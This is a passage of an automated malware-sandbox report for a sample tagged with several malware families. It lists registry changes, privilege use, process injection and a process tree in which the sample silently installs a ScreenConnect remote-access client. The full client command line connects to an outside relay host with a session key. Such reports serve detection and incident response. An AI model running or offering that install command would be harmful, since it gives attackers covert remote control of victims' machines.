Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\RegProcsHash = 048cb8de000780bbda8f74e4421c678870401701bd7de658880538dd5f2f4b9e	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientSetup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\RegProcs0000 = 300030003000300031003600390034003a00300031006400640032006500660039003a00350037003500330033003700320036000000300030003000300031003200300030003a00300031006400640032006500660039003a003500350065006600610035006500310000000000	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientSetup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\SessionHash = a108b2a439959accc1f37dca80acbde5639655e77354faa046cde230a5927445	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0002	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientSetup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\Sequence = "2"	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0002\SessionHash = 152f01e9bdd5c7d5c210b36503381c1e384bba1b667d1bbf553110ede6633be2	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\sc-bc89eadcafe25c71\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-bc89eadcafe25c71\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230\ProductName = "ScreenConnect Client (bc89eadcafe25c71)"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230\SourceList\Net	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\20D4F0046D952D440A9A100277180AB7\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\20D4F0046D952D440A9A100277180AB7\Full	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\20D4F0046D952D440A9A100277180AB7	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-bc89eadcafe25c71\shell\open	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\20D4F0046D952D440A9A100277180AB7\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230\PackageCode = "E23248FD89A028B48BDB2364F054B301"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230\ProductIcon = "C:\\Windows\\Installer\\{AFECDED1-D7D1-4890-B27A-1E627F092103}\\DefaultIcon"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DB89189194C1918FCB98AECDFA2EC517\20D4F0046D952D440A9A100277180AB7	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230\Version = "369171165"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-bc89eadcafe25c71\shell	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\20D4F0046D952D440A9A100277180AB7\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\20D4F0046D952D440A9A100277180AB7\SourceList\Media	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-bc89eadcafe25c71	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\20D4F0046D952D440A9A100277180AB7\ProductIcon = "C:\\Windows\\Installer\\{400F4D02-59D6-44D2-A0A9-01207781A07B}\\DefaultIcon"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\20D4F0046D952D440A9A100277180AB7\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\20D4F0046D952D440A9A100277180AB7\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\1DEDCEFA1D7D09842BA7E126F7901230	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230\InstanceType = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-bc89eadcafe25c71\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\20D4F0046D952D440A9A100277180AB7\ProductName = "ScreenConnect Client (bc89eadcafe25c71)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\20D4F0046D952D440A9A100277180AB7\Version = "420020229"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DB89189194C1918FCB98AECDFA2EC517\1DEDCEFA1D7D09842BA7E126F7901230	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230\SourceList	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\20D4F0046D952D440A9A100277180AB7\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\20D4F0046D952D440A9A100277180AB7\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-bc89eadcafe25c71	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-bc89eadcafe25c71\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (bc89eadcafe25c71)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\20D4F0046D952D440A9A100277180AB7\PackageCode = "20D4F0046D952D440A9A100277180AB7"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\20D4F0046D952D440A9A100277180AB7\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\20D4F0046D952D440A9A100277180AB7\SourceList\Net\1 = "C:\\Windows\\SystemTemp\\ScreenConnect\\25.9.5.9483\\bc89eadcafe25c71\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230\Assignment = "1"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230\SourceList\Media	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-bc89eadcafe25c71\shell\open	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\20D4F0046D952D440A9A100277180AB7\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\20D4F0046D952D440A9A100277180AB7\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230\SourceList	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-bc89eadcafe25c71\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-bc89eadcafe25c71\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DB89189194C1918FCB98AECDFA2EC517	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230\SourceList\Media	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-bc89eadcafe25c71\UseOriginalUrlEncoding = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\20D4F0046D952D440A9A100277180AB7	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\20D4F0046D952D440A9A100277180AB7\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\1DEDCEFA1D7D09842BA7E126F7901230\Full	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\1DEDCEFA1D7D09842BA7E126F7901230\SourceList\PackageName = "setup.msi"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\1DEDCEFA1D7D09842BA7E126F7901230	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DB89189194C1918FCB98AECDFA2EC517	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\20D4F0046D952D440A9A100277180AB7\SourceList\LastUsedSource = "n;1;C:\\Windows\\SystemTemp\\ScreenConnect\\25.9.5.9483\\bc89eadcafe25c71\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-bc89eadcafe25c71	msiexec.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4740	msiexec.exe
4740	msiexec.exe
4608	ScreenConnect.ClientService.exe
4608	ScreenConnect.ClientService.exe
4608	ScreenConnect.ClientService.exe
4608	ScreenConnect.ClientService.exe
4608	ScreenConnect.ClientService.exe
4608	ScreenConnect.ClientService.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
1512	msiexec.exe
1512	msiexec.exe
1512	msiexec.exe
1512	msiexec.exe
1512	msiexec.exe
1512	msiexec.exe
1512	msiexec.exe
1512	msiexec.exe
1512	msiexec.exe
1512	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
1512	msiexec.exe
1512	msiexec.exe
1512	msiexec.exe
1512	msiexec.exe
1512	msiexec.exe
1512	msiexec.exe
1512	msiexec.exe
1512	msiexec.exe
1512	msiexec.exe
1512	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
3256	ScreenConnect.ClientService.exe
3256	ScreenConnect.ClientService.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe
4740	msiexec.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3724	2026-08-18_70b5f84857d36cccc6c3c9e74df245f2_amadey_elex_glassworm_icedid_luca-stealer_manuscrypt_njr.exe
Token: SeShutdownPrivilege	2444	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2444	msiexec.exe
Token: SeSecurityPrivilege	4740	msiexec.exe
Token: SeCreateTokenPrivilege	2444	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2444	msiexec.exe
Token: SeLockMemoryPrivilege	2444	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2444	msiexec.exe
Token: SeMachineAccountPrivilege	2444	msiexec.exe
Token: SeTcbPrivilege	2444	msiexec.exe
Token: SeSecurityPrivilege	2444	msiexec.exe
Token: SeTakeOwnershipPrivilege	2444	msiexec.exe
Token: SeLoadDriverPrivilege	2444	msiexec.exe
Token: SeSystemProfilePrivilege	2444	msiexec.exe
Token: SeSystemtimePrivilege	2444	msiexec.exe
Token: SeProfSingleProcessPrivilege	2444	msiexec.exe
Token: SeIncBasePriorityPrivilege	2444	msiexec.exe
Token: SeCreatePagefilePrivilege	2444	msiexec.exe
Token: SeCreatePermanentPrivilege	2444	msiexec.exe
Token: SeBackupPrivilege	2444	msiexec.exe
Token: SeRestorePrivilege	2444	msiexec.exe
Token: SeShutdownPrivilege	2444	msiexec.exe
Token: SeDebugPrivilege	2444	msiexec.exe
Token: SeAuditPrivilege	2444	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2444	msiexec.exe
Token: SeChangeNotifyPrivilege	2444	msiexec.exe
Token: SeRemoteShutdownPrivilege	2444	msiexec.exe
Token: SeUndockPrivilege	2444	msiexec.exe
Token: SeSyncAgentPrivilege	2444	msiexec.exe
Token: SeEnableDelegationPrivilege	2444	msiexec.exe
Token: SeManageVolumePrivilege	2444	msiexec.exe
Token: SeImpersonatePrivilege	2444	msiexec.exe
Token: SeCreateGlobalPrivilege	2444	msiexec.exe
Token: SeCreateTokenPrivilege	2444	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2444	msiexec.exe
Token: SeLockMemoryPrivilege	2444	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2444	msiexec.exe
Token: SeMachineAccountPrivilege	2444	msiexec.exe
Token: SeTcbPrivilege	2444	msiexec.exe
Token: SeSecurityPrivilege	2444	msiexec.exe
Token: SeTakeOwnershipPrivilege	2444	msiexec.exe
Token: SeLoadDriverPrivilege	2444	msiexec.exe
Token: SeSystemProfilePrivilege	2444	msiexec.exe
Token: SeSystemtimePrivilege	2444	msiexec.exe
Token: SeProfSingleProcessPrivilege	2444	msiexec.exe
Token: SeIncBasePriorityPrivilege	2444	msiexec.exe
Token: SeCreatePagefilePrivilege	2444	msiexec.exe
Token: SeCreatePermanentPrivilege	2444	msiexec.exe
Token: SeBackupPrivilege	2444	msiexec.exe
Token: SeRestorePrivilege	2444	msiexec.exe
Token: SeShutdownPrivilege	2444	msiexec.exe
Token: SeDebugPrivilege	2444	msiexec.exe
Token: SeAuditPrivilege	2444	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2444	msiexec.exe
Token: SeChangeNotifyPrivilege	2444	msiexec.exe
Token: SeRemoteShutdownPrivilege	2444	msiexec.exe
Token: SeUndockPrivilege	2444	msiexec.exe
Token: SeSyncAgentPrivilege	2444	msiexec.exe
Token: SeEnableDelegationPrivilege	2444	msiexec.exe
Token: SeManageVolumePrivilege	2444	msiexec.exe
Token: SeImpersonatePrivilege	2444	msiexec.exe
Token: SeCreateGlobalPrivilege	2444	msiexec.exe
Token: SeCreateTokenPrivilege	2444	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2444	msiexec.exe

Suspicious use of FindShellTrayWindow 8 IoCs

pid	Process
2444	msiexec.exe
2444	msiexec.exe
5780	ScreenConnect.WindowsClient.exe
5780	ScreenConnect.WindowsClient.exe
1208	ScreenConnect.WindowsClient.exe
1208	ScreenConnect.WindowsClient.exe
1208	ScreenConnect.WindowsClient.exe
1208	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
5780	ScreenConnect.WindowsClient.exe
5780	ScreenConnect.WindowsClient.exe
1208	ScreenConnect.WindowsClient.exe
1208	ScreenConnect.WindowsClient.exe
1208	ScreenConnect.WindowsClient.exe
1208	ScreenConnect.WindowsClient.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2444	msiexec.exe
4740	msiexec.exe
5484	MsiExec.exe
4508	MsiExec.exe
3500	MsiExec.exe
1512	msiexec.exe
5716	MsiExec.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 3724 wrote to memory of 2444	3724	2026-08-18_70b5f84857d36cccc6c3c9e74df245f2_amadey_elex_glassworm_icedid_luca-stealer_manuscrypt_njr.exe	90
PID 4740 wrote to memory of 5484	4740	msiexec.exe	92
PID 5484 wrote to memory of 5628	5484	MsiExec.exe	93
PID 4740 wrote to memory of 3872	4740	msiexec.exe	98
PID 4740 wrote to memory of 4508	4740	msiexec.exe	100
PID 4740 wrote to memory of 3500	4740	msiexec.exe	101
PID 4608 wrote to memory of 5780	4608	ScreenConnect.ClientService.exe	103
PID 4608 wrote to memory of 6132	4608	ScreenConnect.ClientService.exe	104
PID 4608 wrote to memory of 3380	4608	ScreenConnect.ClientService.exe	106
PID 3380 wrote to memory of 1512	3380	ScreenConnect.ClientSetup.exe	107
PID 4740 wrote to memory of 5716	4740	msiexec.exe	108
PID 5716 wrote to memory of 5996	5716	MsiExec.exe	109
PID 3256 wrote to memory of 1208	3256	ScreenConnect.ClientService.exe	111
PID 3256 wrote to memory of 2232	3256	ScreenConnect.ClientService.exe	112

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-08-18_70b5f84857d36cccc6c3c9e74df245f2_amadey_elex_glassworm_icedid_luca-stealer_manuscrypt_njr.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-18_70b5f84857d36cccc6c3c9e74df245f2_amadey_elex_glassworm_icedid_luca-stealer_manuscrypt_njr.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3724
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\setup.msi"
  2⤵
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  PID:2444

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4740
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding F878E1E4363DE3CDFCDF6190093A7A21 C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5484
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI8CA6.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240749859 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:5628
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:3872
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding FB7733B285911CF478F20DC075A7288B
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4508
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 7E9E0F5301C30C1549888072AB08C854 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:3500
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding F24D9B0CC99F6155AC2A3471B6CBE86E E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5716
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSI4B2A.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240799265 28 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:5996

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:4980

C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=help.vlp.com&p=8041&s=bee95845-4dc3-4391-ae61-9b85138efda3&k=BgIAAACkAABSU0ExAAgAAAEAAQDXn29Mo%2b1rtwSjC%2fBkYs2MztiUcfXL%2f4BRdazLIs4kkLVHfAtqP937D3FDkGLL%2ftIFywgPalgM3wcJqZIhSwVsjCryEHaawgg8CaAT80FndMa8WFCA8vudMZuTBOMy7U5CBMHG4CLxPD1Tc%2fRg8GnjIAAaeG6CjHjmM335bUVn72%2fETK%2bfIMIxUXROfUibNYVMS9l1%2bqn6U7q7xDASlL7j1T0yWttPTi%2bz6w1KCz41po2P%2bKKNmPluILbrKWZ85Fd3G9DzxEWCmKugr0kuWp5rcgcNNgM2WtpJ7z4TWJn5SDm7mZEKt5%2bP0p2gkjFJ6Yr%2b1e7c8gkWfR%2fbvpIgFADL&t=Room%206%20Anes&c=Flushing%20GI&c=Flushing%20GI&c=Doctor&c=Desktop&c=&c=&c=&c="
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4608
- C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.WindowsClient.exe" "RunRole" "81690a0f-0a2c-4606-864a-76e1d893d45d" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:5780
- C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.WindowsClient.exe" "RunRole" "b69501c8-04b2-4e2b-8e2a-26dfd66a3624" "System"
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:6132
- C:\Windows\SystemTemp\ScreenConnect\22.1.6877.8083\ScreenConnect.ClientSetup.exe
  "C:\Windows\SystemTemp\ScreenConnect\22.1.6877.8083\ScreenConnect.ClientSetup.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Suspicious use of WriteProcessMemory
  PID:3380
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Windows\SystemTemp\ScreenConnect\25.9.5.9483\bc89eadcafe25c71\ScreenConnect.ClientSetup.msi"
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1512

C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.ClientService.exe
